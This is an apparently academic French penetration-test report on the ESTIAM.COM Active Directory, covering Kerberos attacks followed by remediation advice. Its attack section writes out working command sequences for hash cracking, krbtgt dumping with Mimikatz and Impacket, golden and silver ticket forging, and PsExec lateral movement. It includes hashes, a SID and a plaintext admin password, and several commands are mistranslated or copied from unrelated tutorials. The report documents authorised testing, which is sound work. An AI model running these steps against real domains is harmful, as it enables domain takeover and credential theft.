Rapport Pentest

Partie 1. Résumé
Nous avons effectué un test de pénétration l'active directory du domaine ESTIAM.COM. nous avons trouvé un problème de sécurité au niveau des passwords et de la pré-authentification Kerberos. Il est conseillé de régler le problème le plus rapidement possible en suivant nos conseils et nous pourrons refaire un test de surveillance par la suite. ce problème détecté représente une menace pour le SI .
En conclusion, nous avons identifié des zones où la sécurité n'est pas suffisante et provoque une faille de sécurité.Nous devons déclarer le système non sécurisé

Partie 2 . Non technique

1. Cadre légal et juridique

• Les risques juridiques du pentest ou « test d’intrusion » :
  Les opérations menées par le pentester dans le cadre de sa mission sont intrinsèquement susceptibles de faire naître des situations de non-conformité susceptibles d’engager sa responsabilité.Mêmement, en cas d’ « investigations » menées sur un Système d’Information n’appartenant pas au Client, le prestataire pourrait commettre une infraction : celle de l’accès et du maintien frauduleux sur un « système de traitement automatisé de données », réprimée par l’article 323-1 du Code pénal.

• Le pentester et le délit d’accès et de maintien frauduleux sur un « système de traitement automatisé de données ».L’incrimination d’accès frauduleux nécessite en particulier de rapporter la preuve de la matérialité de l’infraction.Il convient toutefois de préciser que cette notion d’« accès irrégulier » est plurielle et recouvre deux acceptions :

• la conception active, s’entendant comme « tous modes de pénétration » [2] ;

• la conception passive : principalement matérialisée par la mise sur écoute et l’interception de paquets ou de trames circulant sur un réseau au moyen d’un sniffer (c’est à dire un logiciel pouvant lire ou enregistrer des données transitant par le biais d’un réseau).Le délit prévu et réprimé par l’article 323-1 du Code pénal étant volontaire, il conviendra de rapporter la preuve que l’auteur de l’infraction a pu agir « sans autorisation » et « en connaissance de cause ».

• Le critère de « défaut d’autorisation ».

• Le critère de la « connaissance de cause ».En tout état de cause, force est de constater que si une action en responsabilité pénale pour accès frauduleux était introduite, celle-ci revêtant un caractère personnel, elle pourrait alors peser directement sur les pentesters chargés de l’audit, ou alors, en vertu de l’article 323-6 du Code pénal, sur la personne morale au nom de laquelle lesdits pentesters ont agi.

• La rédaction d’un contrat de pentest ou de « test d’intrusion ».Dans le cadre de missions de tests intrusifs, l’autorisation du Client est donc déterminante dans la mesure où c’est ce critère qui déterminera les éventuelles poursuites sur le fondement des articles 323-1 et suivants du Code pénal.

• Le droit de confidentialité pour le client ainsi que le droit d'auteur

2. Organigramme de l'équipe
   Aurélie LECERF Ingénieure cybersécurité
   Brandon GUENOUX Ingénieur cybersécurité

3. Résumé des vulnérabilités:
   Il faut privilégier de résoudre les failles les plus importantes (orange et parfois jaune si elles sont complémentaires)

4. Description des outils utilisés:

• Ping Castle : logiciel français pour auditer un annuaire Active Directory et obtenir un score reflétant le niveau de risque. Le tout est conteu dans u rapport détaillé avec les points à améliorer pour baisser son score;
• Kerbrute
• Wireshark
• Kali (et ses outils)
• AdRecon
• Rubeus : Rubeus est un ensemble d'outils C # pour l'interaction et les abus Kerberos bruts

Partie 3 . Technique

Les vulnérabilités ont été découvert pendant l'audit de l'Active Directory réalisé par Ping Castle

Les vulnérabilités les plus inquiétantes sont du côté de l'administration et l'authentification de comptes Active Directory. Nous avons décidé de nous intéresser à Kerberos
Nous pouvons attaquer Kerberos de plusieurs manières de façon à récolter le plus d'informations possible sur les services ou accès à Active Directory tout en essayant d'être le plus discret possible:

• Pass-the-ticket : consiste à falsifier une clé de session et à la présenter à la ressource sous la forme de données d’identification
• Golden Ticket : un ticket qui accorde à un utilisateur un accès administrateur au domaine
• Silver Ticket : un ticket falsifié qui donne accès à un service
• Credential stuffing / force brute : tentatives répétées automatisées visant à deviner un mot de passe
• Affaiblissement du chiffrement au moyen d’un Skeleton Key : un malware capable de passer outre Kerberos, mais l’attaque doit disposer d’un accès Administrateur qui peut être récupéré par un Golden Ticket
• Attaque DCShadow : nouvelle attaque grâce à laquelle les hackers pénètrent dans le réseau pour définir leur propre contrôleur de domaine afin de s’infiltrer plus en profondeur

Partie 4 . Attaque et Recommandations

4-1) Attaque menée

• ADRecon

• Ping Castle pour viser les vulnérabilités

• Attaque Kerberosting/ Wireshark
  la pré-authentification Kerberos et comment le script GetNPUsers d'Impacket tire parti de cette désactivation, vous saurez que, par défaut, les comptes d'utilisateurs ne sont pas vulnérables à ce type d'attaque.
  la pré-authentification. Il crypte l'heure actuelle et l'envoie au serveur (dans le cadre du paquet kerberos AS-REQ initial) mais il le crypte en utilisant le mot de passe de l'utilisateur comme clé de cryptage .mais si jamais vous vous trouvez dans une situation où vous pouvez soit capturer le trafic réseau entre les machines, soit avoir quelque chose comme un fichier de capture de paquets Wireshark contenant des paquets d'authentification kerberos, alors vous peut effectuer ce type d'attaque et obtenir le mot de passe de l'utilisateur. Bien sûr, cela suppose qu'ils n'en ont pas un très long et complexe que votre combo liste de mots / craqueur de mot de passe ne peut pas deviner dans un laps de temps raisonnable (mais il en va de même pour la méthode GetNPUsers d'origine lorsque la pré-authentification est également désactivée).

Capture Wireshark entre le contrôleur de domaine et un client voulant se connecter. Cela a permis de mettre en évidence la partie qui nous intéresse (horodatage des données cryptées utilisé pour la pré-authentification Kerberos) :

du coup d'après les exemples de hachages de hashcat, nous avons pu en resortir un modèle applicable à notre cas https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat.exe -m 7500
$krb5pa$23$Administrateur$ESTIAM$4e751db65422b2117f7eac7b721932dc8aa0d9966785ecd958f971f622bf5c42dc0c70b532363138363631363132333238383835

nous avons pu déchiffer le mot de passe Administrateur

• L'attaque Pass the Ticket

Cette attaque permet de s'authentifier localement sur le poste client, et ce même si l'authentification Kerberos est complètement réalisée (AS_REQ/AS_REP + TGS_REQ/TGS_REP). Du côté attaquant, cela nécessite le contrôle des flux réseau échangés entre le client et le KDC, ainsi qu'un accès physique sur l'équipement.

L'attaque se déroule en deux phases :

1. Écoute d'une authentification Kerberos

Durant cette phase, nous avons pu enregistrer les échanges Kerberos effectués lors d'une connexion de l'utilisateur victime. L'objectif est d'obtenir le ticket de service TS.

2. Rejeu d'un ticket valide

nous avons pu tenter de se connecter physiquement sur le poste client, en utilisant un nom d'utilisateur valide, ainsi qu'un mot de passe quelconque (par exemple « password ») de la façon suivante :

A) Le poste client va alors générer un AS_REQ qui sera intercepté par nous les attaquants.

B) L'attaquant répondra avec un AS_REP contenant :

-Un ticket TGT forgé. Ce ticket sera chiffré avec une clé choisie par l'attaquant en lieu et place de la clé secrète du TGS.

-Une clé de session SKtgs* choisie par l'attaquant et chiffrée avec une clé dérivée du mot de passe « password ».

C) Le client génère alors une requête TGS_REQ. Celui-ci contient alors le TGT forgé précédemment reçu, ainsi qu'un authentificateur chiffré avec la clé de session SKtgs et choisie par l'attaquant. Ce TGS_REQ est également intercepté par l'attaquant.

D) L'attaquant envoie alors un TGS_REP au poste client, contenant :

-Le ticket de service TS intercepté lors de l'étape 1. Ce TS contient la clé de session SKservice utilisée lors de l'échange original.

-L'attaquant (nous) envoie également une clé de session forgée (appelons la SKservice*), chiffrée avec la clé de session SKtgs*.

Les vérifications effectuées du côté du poste client pour l'authentification de l'utilisateur sont :

-Vérification que la clé de service légitime du poste client est capable de déchiffrer le ticket TS.

-Vérification que la clé de session SKtgs* est capable de déchiffrer SKservice*.

-Vérifie les limites de validité contenues dans le ticket de service TS.

Dans notre attaque, toutes ces conditions sont remplies.

Pour récapituler, notre attaque permet de se connecter localement à un ordinateur membre d'un domaine Active Directory si :

-Nous sommes capable d'écouter et de modifier les flux réseaux entre l'ordinateur cible et le contrôleur de domaine.

-Un utilisateur légitime se connecte sur le poste.

-Nous disposons par la suite d'un accès au poste client cible (physiquement ou par un accès type VNC/terminal server).

nous dispoerons alors des privilèges de l'utilisateur dont l'authentification Kerberos a été capturée sur l'ordinateur cible.

Kerberoasting est l'une des attaques les plus courantes contre les contrôleurs de domaine. Il est utilisé pour casser un hachage Kerberos (mot de passe crypté) en utilisant des techniques de force brute.

• Replay Attack
  Comme évoqué précédemment, le serveur s'assure que le client peut accéder au service en validant uniquement la dernière requête envoyée : Application Server Request (AP_REQ).

Cette attaque par rejeu nécessite que l'attaquant mette en place un Man-In-The-Middle entre le client et le serveur (ici notre machine Kali). Par la suite, il y a deux possibilités :

-Soit nous effectuons une écoute du réseau et renvoyons la requête AP_REQ émise par le client afin d'obtenir un accès au service.

-Soit nous empêchons le client d'envoyer la requête AP_REQ au serveur et l'utilisons pour obtenir l'accès au service à la place du client.

• L'attaque Golden Ticket
  Les Golden Tickets sont de faux tickets d'octroi de tickets (TGT), également appelés tickets d'authentification.Puisqu'un Golden Ticket est un faux TGT, il est envoyé au contrôleur de domaine dans le cadre du TGS-REQ pour obtenir un ticket de service.

Le TGT est principalement utilisé pour informer le contrôleur de domaine du KDC qu'un autre contrôleur de domaine a authentifié les utilisateurs. La réalité est que le TGT a le mot de passe de hachage KRBTGT chiffré et que tout service KDC à l'intérieur du domaine peut déchiffrer pour prouver qu'il est valide.

Comme nous le savons, il existe une exigence de base pour créer un forge TGT, c'est-à-dire extraire le « nom de domaine, SID, hachage krbtgt ». Une fois que nous avons un accès administrateur à un contrôleur de domaine, les hachages de mot de passe du compte KRBTGT peuvent être extraits à l'aide de Mimikatz.

privilège :: débogage
lsadump::lsa /inject /name:krbtgt
Domaine : ESTIAM.COM
sid : S-1-5-21-3523557010-2506964455-2614950430
krbtgt Hachage : f3bc61e97fb14d18c42bcbf6c3a9055f
Utilisateur usurpé d'identité : Brandon

Même si nous avons accès au contrôleur de domaine, nous ne pouvons pas non plus se connecter au serveur d'applications à l'aide de PsExce.exe, nous avons essayé maintenant à nouveau, en utilisant forge TGT en utilisant plusieurs méthodes.

1. Mimikatz : Pass the Ticket
   Mimikatz est disponible pour l'attaque Kerberos, il permet de créer le ticket falsifié et de transmettre simultanément le TGT au service KDC pour Get TSG et vous pourrez vous connecter au serveur de domaine. Cela peut être fait en exécutant les deux commandes sur cmd en tant qu'administrateur.

kerberos::golden /user:Brandon /domain:ESTIAM.COM /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 /ptt
divers ::cmd

La commande ci-dessus générera le ticket pour usurper l'identité de l'utilisateur avec RID 500.

Dès que nous avons exécuté les commandes ci-dessus, nous avons obtenu une nouvelle invite cmd qui nous permettra de nous connecter au serveur de domaine à l'aide de PsExec.exe, comme indiqué dans l'image ci-dessous.

PsExec64.exe \\192.168.251.1 cmd.exe
ipconfig

2. Mimikatz : Générer le ticket
   Si nous voulons créer le ticket falsifié que nous pourrons utiliser plus tard car le TGT est valable 10 ans, nous pouvons exécuter ci-dessous la commande qui génère le ticket sous la forme du fichier ticket.kirbi.

kerberos::golden /user:Brandon /domain:ESTIAM.COM /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500
La commande ci-dessus générera la clé TGT pour usurper l'identité de l'utilisateur avec RID 500.

Ainsi, chaque fois que nous voudrons accéder au service Domain Server, nous pourrons utiliser le fichier ticket.kirbi. Cela peut être fait en exécutant les commandes suivantes :

kerberos::ptt ticket.kirbi
divers ::cmd

Et puis répétez les étapes csi-dessus pour accéder au service.

PsExec64.exe \\192.168.1.105 cmd.exe
ipconfig

3. Impacket
   De même, nous pouvons utiliser l'outil impacket pour obtenir les conditions préalables à la génération d'un ticket Forge Kerberos, répétez donc la même étape à l'aide de la commande suivante :

python lookupsid.py ESTIAM/Administrateur : Estiam@987 @192.168.251.1
Ici, nous avons utilisé le script python lookupid pour énumérer le SID du domaine.

Ensuite, nous avons utilisé secretsdump.py le script python pour extraire le hachage et le nom de domaine Krbtgt à l'aide de la commande suivante :

administrateur python secretsdump.py : Estiam@987 @192.168.251.1 -outputfile krb -user-status

Nous avons utilisé le script ticketer.py qui créera des tickets TGT/TGS à partir de zéro ou sur la base d'un modèle (légalement demandé au KDC) nous permettant de personnaliser certains des paramètres définis à l'intérieur de la structure PAC_LOGON_INFO, en particulier les groupes, les extrasids, etc. Tickets la durée est fixée à 10 ans à partir de maintenant.

python ticketer.py -ntash f3bc61e97fb14d18c42bcbf6c3a9055f -domain-sid S-1-5-21-3523557010-2506964455-2614950430 -domain ESTIAM.COM raj
exporter KRB5CCNAME=/root/Tools/impacket/examples/raj.ccache

Utilisons le script ticket_converter.py qui convertira les fichiers kirbi en fichier ccache utilisé par impacket.

python ticketConverter.py /root/impacket/examples/raj.ccache ticket.kirbi

Encore une fois, chaque fois que nous souhaitons accéder au service de serveur de domaine, nous pouvons utiliser le fichier ticket.kirbi . Et cela peut être fait en exécutant les commandes suivantes comme indiqué dans les sections ci-dessus :

kerberos::ptt ticket.kirbi
divers ::cmd

Et puis répétons l'étape ci-dessus pour accéder au service.

PsExec64.exe \\192.168.251.1 cmd.exe
ipconfig

Rubeus.exe ptt /ticket:ticket.kirbi
PsExec64.exe \\192.168.251.1 cmd.exe
ipconfig

Exécutons maintenant use psexec64.exe sur le même terminal pour nous connecter au serveur d'applications.

Metasploit : Kiwi
Le TGT/TGS peut être généré à distance à l'aide de Metasploit, car nous devons compromettre la machine de la victime qui est membre d'AD, puis suivre les étapes ci-dessous. Utilisons kiwi pour énumérer le hachage krbtgt et le SID du contrôleur de domaine.

run kiwis
dcsync_ntlm krbtgt

Collectez le nom de domaine et les autres détails requis du réseau à l'aide de la commande suivante :

shell
ipconfig /all

Maintenant, utilisons les informations énumérées ci-dessus pour générer le module d'utilisation du ticket : golden_ticket_create, il stockera le ticket.kirbi sur le bureau de notre machine locale.

golden_ticket_create -d ESTIAM.COM -u brandon -s S-1-5-21-3523557010-2506964455-2614950430 -k f3bc61e97fb14d18c42bcbf6c3a9055f -t /root/Desktop/ticket.kirbi

Metasploit : Script Powershell Mimikatz
De même, nous pouvons utiliser Powershell Script de Mimikatz pour générer à distance un Ticket pour l'injecter dans un serveur d'application ou pour le stocker sous forme de format kirbi pour une utilisation future. Téléchargeons maintenant le script powershell mimikatz pour générer TGT et pour cela, exécutons les commandes données.

downlaod /root/powershell/Invoke-Mimikatz.ps1 .
shell
cd C:\Users\brandon\Desktop\
powershell
Set-ExecutionPolicy sans restriction
Import-Module .\Invoke-Mimikatz.ps1

Lorsque nous avons toutes les informations requises, générez forge Ticket à l'aide de la commande suivante.

Invoke-Mimikatz -Command '"kerberos::golden /user:brandon /domain:ESTIAM.COM /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500"

La commande ci-dessus générera le jeton pour usurper l'identité de l'utilisateur avec le RID 500.

Une fois que nous avons généré un faux ticket, nous pouvons utiliser ce ticket à l'avenir pour accéder au service du serveur d'application en exécutant les commandes suivantes.

Invoke-Mimikatz -Command '"kerberos::purge"'
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
Copie-élément C:/Users/brandon/Desktop/raj.exe -Destination \\WIN-S0V7KMTVLD2.ESTIAM.COM\c$
répertoire \\WIN-S0V7KMTVLD2.ESTIAM.COM\c$

De même, si nous voulons injecter un Ticket au moment où il est généré pour accéder au serveur d'applications à ce moment-là, nous exécutons la commande ci-dessous.

Invoke-Mimikatz -Command '"kerberos::golden /user:pavan /domain:ESTIAM.COM /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 /ptt"
répertoire \WIN-S0V7KMTVLD2.ESTIAM.COM\c$

Powershell Empire
En ce qui concerne la génération de TGT/TGS, l'empire PowerShell est le cadre le plus dangereux, car une fois que vous avez compromis la machine victime qui est membre d'AD, vous pouvez utiliser le module suivant directement sans session de privilèges d'administrateur.

usemodule identifiants/mimikatz/golden_ticket
définir le domaine <nom_domaine>
définir sid <SID>
définir l'utilisateur pavan
définir le groupe
définir l'identifiant 500
définir krbtgt_hash <ntlm_hash>

Il s'agit d'une manière dynamique de générer un ticket car ce module peut être exécuté sans avoir de session privilégiée d'administrateur et il injectera le ticket dans la session en cours et l'attaquant pourra obtenir un accès direct au serveur.

Journal des événements de chasse Golden Ticket
Lorsqu'un faux compte d'utilisateur (qui ne se trouve pas dans la forêt AD) est utilisé avec le RID d'un compte AD existant (Administrateur). Le faux utilisateur ici est "brandon" et a les groupes réglés sur le Golden standard

Groupes d'administrateurs de tickets. un journal des événements est généré pour son activité de connexion et l'ID d'événement doit être 4769, il divulguera le nom d'utilisateur usurpé et l'adresse IP de la machine.

Dans les événements de connexion de compte normaux et valides, la structure de données d'événement est :

ID de sécurité : DOMAIN\AccountID
Nom du compte : ID de compte
Domaine du compte : DOMAIN

• Silver Ticket
  Un Silver Ticket est un ticket d’authentification de service falsifié.

Nous pouvons créer un Silver Ticket en craquant le mot de passe d’un compte d’ordinateur et l’utiliser pour créer un faux ticket d’authentification. Kerberos permet aux services (programmes de système d’exploitation de bas niveau) de se connecter sans que la validité de leur jeton ne soit vérifiée, une caractéristique exploitée par les hackers pour créer des Silver Tickets. Pour simplifier, un Silver Ticket est un ticket d’authentification falsifié que vous pouvez utiliser pour vous connecter à certains comptes.

Les Silver Tickets sont plus difficiles à détecter que les Golden Tickets en raison de l’absence de communication entre le service et le contrôleur de domaine et du fait que la journalisation a lieu en local sur l’ordinateur visé.

Généralement, les tickets Kerberos sont vérifiés par le Certificat de compte habilité (PAC) tierce partie. Curieusement, les comptes de service ne sont pas toujours vérifiés, un aspect qui est exploité par notre attaque. Les services sont des applications de bas niveau telles que CIFS, le pare-feu Windows et ou le spouleur d’impression.

Armés d’un Silver Ticket, nous pouvons utiliser une technique pass-the-ticket pour augmenter leurs droits d’accès ou leur utilisation des droits du service de manière à étendre leur accès. Même s’ils restent plus limités que les Golden Tickets, les Silver Tickets permettent aux hackers un tant soit peu imaginatifs de s’infiltrer en profondeur.

Imaginons qu’on ait piraté un domaine au moyen d’un Golden Ticket. Malgré tous les efforts déployés pour réparer les dégâts, il y a toujours un accès à un ordinateur, et il y a un PowerShell.

Voici ce qui peut se passer ensuite :

Nous pouvons utiliser plusieurs outils de piratage pour exporter le hachage du mot de passe d’un compte de l’ordinateur
Il craque le mot de passe du compte de service CIFS pour se connecter au compte de service CIFS
Avec le compte de service CIFS, il subtilise le répertoire SYSVOL de C$
Il utilise les fichiers de SYSVOL pour accéder au hachage du mot de masse du compte de service de l’HÔTE
Il craque le mot de passe du compte de service de l’HÔTE
Ensuite, il utilise le compte de service craqué pour créer une nouvelle tâche planifiée sur l’ordinateur
Il peut alors récupérer le hachage du compte KRBTGT
De là, il peut créer un autre Golden Ticket
Si vous pensiez qu’il suffisait de changer deux fois tous les mots de passe utilisateur, tous les mots de passe de compte de service et le mot de passe KRBTGT pour vous remettre de la première attaque Golden Ticket vous n’avez plus qu’à recommencer depuis le début.

Comment mettre en place un Silver Ticket
Nous utilisons mimikatz pour créer un Silver Ticket pour réecrire un ticket dit fissuré pour commencer l'attaque

mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:ESTIAM.COM /ptt /id:1155 /target:dc-ESTIAM.COM /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:Administrateur

Vérification des tickets disponibles en mémoire avec klist

Initier une requête au service attaqué avec un ticket TGS

Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials ESTIAM.COM

Recommandations

Les vulnérabilités dite faible n'ont pas fait preuve d'attaque puisqu'elles ne sont pas prioritaires. Par contre, il est possible de les traiter dans un autre contrôle de sécurité en mettant à jour l'OS ou certains service afin d'éviter que ces vulnérabilités deviennent de véritables failles.

Il faut changer les options du compte qui a un mot de passe qui n'expire jamais. il est conseillé d'après l'ANSSI de changer le mdp tous les 40 jours afin de réduire le temps aux potentielles attaques.

Nous conseillons de mettre à jour les OS obsoletes afin d'éviter d'avoir une version qui n'est plus prise en charge par le support et qui n'aura pas de patchs pour corriger les failles.

Nous conseillons également de désactiver SMBv1 depuis le gesetionnaire de serveur afin d'utiliser des versions plus récentes et plus sûres comme SMBv2 ou SMBv3

Il faut également s'occuper du provisionning afin d'éviter que des utilisateurs non admins puissent ajouter des ordinateurs au domaine.

Protection contre les Golden Tickets:
Réinitialiser le mot de passe/les clés du compte krbtgt grâce à un script crée par Microsoft
Installez la protection des terminaux pour empêcher les attaquants de charger des modules tels que les scripts mimikatz et powershell
Limitez les privilèges pour l'accès administrateur et administrateur de domaine.
Alerte sur les comportements connus qui indiquent Golden Ticket ou d'autres attaques similaires.

Protection contre les Replay Attack
Il faut régler certains paramètres pour réduire l'intensité de la faille

• Timestamp : La durée d'utilisation de l'AP_REQ est limitée à un certain temps (en général 5 minutes).

• Cache : Le serveur (V) stocke en mémoire les requêtes (ou plus précisément les authentificateurs) effectuées par le client pendant la durée d'utilisation autorisée. Ainsi, toutes les requêtes en double sont rejetées.

• Adresse IP : Le ticket fourni par le KDC peut contenir la liste des adresses IP autorisées à utiliser ce ticket. Cette information est conservée dans la requête AP_REQ. Ainsi, le serveur est en mesure de vérifier si l'expéditeur de la requête a le droit d'utiliser ce ticket.

Il convient cependant de rappeler l’importance de mettre en place une surveillance d’Active Directory et d’auditer régulièrement ces infrastructures afin de déceler notamment la présence de vulnérabilités dans leurs configurations, qui peuvent être introduites accidentellement ou par malveillance.

Protection contre les silver ticket :

-Installez les correctifs de CVE-2014-6324 sur tous les serveurs et images.
Cette vulnérabilité permet à un Silver Ticket de devenir un compte Admin de domaine

-Définissez tous les comptes d’admin et de service sur « Le compte est sensible et ne peut pas être délégué »
Ceci empêchera le hacker de se déplacer latéralement en déléguant son compte piraté à d’autres services ou ordinateurs

-Vérifiez que des comptes d’ordinateur ne sont pas membres des groupes d’administrateurs

-Changez les mots de passe des comptes d’ordinateur tous les 30 jours